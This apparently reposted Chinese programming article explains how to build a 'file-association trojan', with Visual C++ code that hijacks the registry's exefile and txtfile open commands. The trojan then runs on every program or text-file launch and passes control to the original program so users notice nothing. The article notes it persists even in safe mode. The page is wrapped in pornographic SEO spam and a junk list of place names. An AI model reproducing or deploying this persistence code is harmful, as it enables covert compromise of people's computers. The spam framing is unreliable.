国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Java > 正文

文件關聯(lián)型木馬的編程思路

2019-09-06 23:33:23
字體:
來源:轉載
供稿:網友

                    我們知道一般情況下想在開機啟動程序,就要把程序寫在注冊表中的

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunService

等環(huán)境中,由于這個值大家都比較熟悉所以很容易被查出,而且進入了windows保護模式這些程序是不會運行的,但是如果我們把我們的程序在注冊表中進行了關聯(lián)卻收到了很好的結果。

在注冊表HKEY_CLASSES_ROOTexefileshellopencommand中的值就是可執(zhí)行程序*.exe
文件的關聯(lián)處,缺省為“"%1"
%*”,如果把這個程序改為我們的木馬程序,那樣的話,每執(zhí)行一個可執(zhí)行程序就會執(zhí)行我們的程序,而不會再執(zhí)行原有的程序,這樣我們的木馬就起動了,我們要做的工作就是我們的木馬啟動后,再執(zhí)行原有的程序,這樣對于一般的人來看好像什么事也沒發(fā)生過。好了心動不如行動,我們開始動手做一個吧。



l 首先用vc建立一個基于對話框的程序srart

在CstartDlg加入公有變量 HANDLE hMutex;防止我們的木馬運行多次。

l 在CStartDlg::OnInitDialog()中加入如下函數(shù):

CString str;

str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得傳入的命令行參數(shù)

const char *MutexObject="MyStart";//建立互斥對象

hMutex=NULL;

hMutex=::CreateMutex(false,false,MutexObject);

if(hMutex!=NULL)

{

DWORD err=GetLastError();



if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//如果發(fā)現(xiàn)同一程序已經運行,則退出



}

if(str!="")

{

CString temp;

char ch;

int length =str.GetLength();

for(int i=0;i<length;i++)

{

ch=str.GetAt(i);

if(ch=='/')

temp=temp+"http://";

else temp=temp+ch;



}

temp = temp.Left(temp.GetLength() - 2);

temp = temp.Mid(1);
//上面的函數(shù)是把字符串中所有的””變?yōu)椤?”

char str1[]=""%1" %*";


::RegSetValue(HKEY_CLASSES_ROOT,"exefile/shell/open/command",

REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);

//
在執(zhí)行原有程序之前必須把注冊表恢復,否則用ShellExecute還是執(zhí)行我們的木馬程序。


ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//執(zhí)行原有的程序

}

//在程序執(zhí)行完成后,再把注冊表改為我們要啟動的木馬程序的

TCHAR str2[256];

// 得到程序全路徑名

GetModuleFileName( NULL, str2, 255 );

strcat(str2," "%1" %*");


::RegSetValue(HKEY_CLASSES_ROOT,"exefile/shell/open/command",

REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//經過上述過程只要程序一運行就會執(zhí)行我們的start
程序了。即使是在安全模式下只要執(zhí)行可執(zhí)行程序就會運行我們的程序了。



同樣的我們也可以將其它文件進行關聯(lián),例如將文本文件進行關聯(lián),在CStartDlg::OnInitDialog()中重新加下代碼

CString str;

str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得傳入的命令行參數(shù)

const char *MutexObject="MyStart";//建立互斥對象

hMutex=NULL;

hMutex=::CreateMutex(false,false,MutexObject);

if(hMutex!=NULL)

{

DWORD err=GetLastError();



if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//如果發(fā)現(xiàn)同一程序已經運行,則退出



}

if(str.Find("txt")!=-1)

{

CString temp;

char ch;

int length =str.GetLength();

for(int i=0;i<length;i++)

{

ch=str.GetAt(i);

if(ch=='/')

temp=temp+"http://";

else temp=temp+ch;



}

temp = temp.Left(temp.GetLength() - 2);

temp = temp.Mid(1);
//上面的函數(shù)是把字符串中的""變?yōu)?/"

char str1[]=""%1" %*";



//
在執(zhí)行原有程序之前必須把注冊表恢復,否則用ShellExecute還是執(zhí)行我們的木馬程序。


ShellExecute(NULL,"open","notepad.exe",temp,NULL,SW_SHOW);//執(zhí)行原有的程序

}

//在程序執(zhí)行完成后,再把注冊表改為我們要啟動的木馬程序的

TCHAR str2[256];

// 得到程序全路徑名

GetModuleFileName( NULL, str2, 255 );

strcat(str2," "%1" %*");


::RegSetValue(HKEY_CLASSES_ROOT,"txtfile/shell/open/command",

REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//經過上述過程只要程序一運行就會執(zhí)行我們的start 程序了。


當然了這些程序在自己的機器上運行后還是要恢復的下面的函數(shù)就可以幫助進行恢復了

char str2[]="NOTEPAD.EXE %1";


::RegSetValue(HKEY_CLASSES_ROOT,"txtfile/shell/open/command",

REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

char str1[]=""%1" %*";


::RegSetValue(HKEY_CLASSES_ROOT,"exefile/shell/open/command",

REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);


當然了這個程序在win98下運行比較正常,在win2000下無法打開桌面上的文件夾,再也就沒什么問題了。如果誰知道,請告訴我,

sunyuzhe@263.net
發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表

圖片精選

主站蜘蛛池模板: 西峡县| 辽宁省| 商南县| 晋州市| 衢州市| 康乐县| 霍城县| 镇雄县| 扎鲁特旗| 宁强县| 商水县| 富阳市| 双峰县| 清丰县| 修武县| 安达市| 青铜峡市| 高邮市| 宁晋县| 建始县| 梅河口市| 五河县| 双流县| 阳城县| 五华县| 阿尔山市| 长治市| 阳朔县| 古蔺县| 岳西县| 乌兰浩特市| 光山县| 焦作市| 大同市| 介休市| 丹江口市| 佛学| 边坝县| 崇文区| 阿巴嘎旗| 盖州市|